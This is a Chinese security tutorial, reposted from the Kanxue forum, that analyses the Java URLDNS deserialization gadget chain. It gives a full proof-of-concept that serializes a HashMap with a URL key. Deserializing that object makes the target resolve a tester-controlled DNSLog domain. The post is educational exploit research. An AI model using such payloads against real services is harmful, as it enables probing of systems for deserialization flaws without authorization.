URLDNS反序列化利用链

admin 2024年9月13日18:30:51评论10 views字数 3123阅读10分24秒阅读模式


漏洞复现

实验环境

◆DNSLog:http://ceye.io
◆Java序列化payload生成:https://github.com/0ofo/Deswing
◆JDK1.8

复现步骤

1. 先在DNSLog平台获得一个域名:
URLDNS反序列化利用链
2. 使用Deswing工具生成URLDNS的序列化文件:
URLDNS反序列化利用链
3. 编写一段反序列化代码:
public class DeserialDemo {
    public static void main(String[] args) throws Exception {
        Object o = deserialize("urldns.bin");    //传入上一步生成的序列化文件全路径
        System.out.println(o);
    }

    private static Object deserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(name));
        Object o = ois.readObject();
        return o;
    }
}
4. 执行后查看产生了DNSLog记录:
URLDNS反序列化利用链

利用链分析

先来看反序列化后产生的是一个HashMap类型的对象,其中key为URL类型,value是一个String:
URLDNS反序列化利用链
在Java反序列化中,如果目标对象定义了readObject方法,则ObjectInputStream在调用readObject方法时,也会反射调用目标对象的readObject方法。
既然我们这里反序列化出的是一个HashMap对象,那我们找找HashMap是否定义了该方法:
URLDNS反序列化利用链
果然有,进入这个方法,将断点打到1397行:
URLDNS反序列化利用链
这里调用了hash方法,跟进去:
URLDNS反序列化利用链
继续调用key.hashCode(),跟进去:
URLDNS反序列化利用链
前文提到HashMap对象的key是URL类型,所以这里是调用到了URL的hashCode方法,该方法的逻辑是:如果hashCode不等于-1,则直接返回,否则再调用handler的hashCode方法。点到hashCode的定义处可见其初始值为-1,所以这段逻辑也可理解为:如果hashCode是一个初始化值-1,则需要调用handler的hashCode方法为其赋值,如果不是-1,说明已经赋过值了,直接返回。
URLDNS反序列化利用链
继续跟进到handler的hashCode方法里:
URLDNS反序列化利用链
执行到这一行时,调用了getHostAddress方法,正是该函数触发了DNS请求。
可以使用Wireshark抓包DNS记录:
URLDNS反序列化利用链
很明显我的路由器缓存了域名解析记录,这里的DNS记录是由路由器返回的。
总结利用链:
// HashMap(key, value)
//         URL.hashCode() 初始值-1
//             URLStreamHandler.hashCode


POC编写

根据前文的分析,先构造一个HashMap对象,key为URL类型,value随意:
URL url = new URL("http://milon.xxx.ceye.io");
Map<URL, Object> map = new HashMap<>();
map.put(url, "hello");
通过反射获取URL对象的hashCode方法,将其设置为-1:
Field hashCodeField = url.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.setInt(url, -1);
定义一个序列化方法并调用:
private static void serializable(Object o, String name) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(name));
    oos.writeObject(o);
}
完整POC:
public class DeserialDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://milon.xxx.ceye.io");
        Map<URL, Object> map = new HashMap<>();
        map.put(url, "hello");

        Field hashCodeField = url.getClass().getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.setInt(url, -1);

        serializable(map, "urldns.bin");

        Object o = deserialize("urldns.bin");
        System.out.println(o);
    }

    private static Object deserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(name));
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o, String name) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(name));
        oos.writeObject(o);
    }
}
注意:通过反射设置hashCode为-1,一定要放在map.put调用之后,因为map.put方法也会触发key的hashCode方法,如果先设为-1再调用map.put就会覆写hashCode的值,导致序列化写入的对象hashCode不是-1,那么反序列化时将无法触发DNS查询。

参考

【Java安全-基础】URLDNS反序列化利用链(https://www.bilibili.com/video/BV18p421X7x1/?spm_id_from=333.788&vd_source=a159c09e030a5761dc535692a374307c)

URLDNS反序列化利用链

看雪ID:米龙·0xFFFE

https://bbs.kanxue.com/user-home-997719.htm

*本文为看雪论坛优秀文章,由 米龙·0xFFFE 原创,转载请注明来自看雪社区

URLDNS反序列化利用链

原文始发于微信公众号(看雪学苑):URLDNS反序列化利用链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日18:30:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   URLDNS反序列化利用链https://cn-sec.com/archives/3151613.html

发表评论

匿名网友 填写信息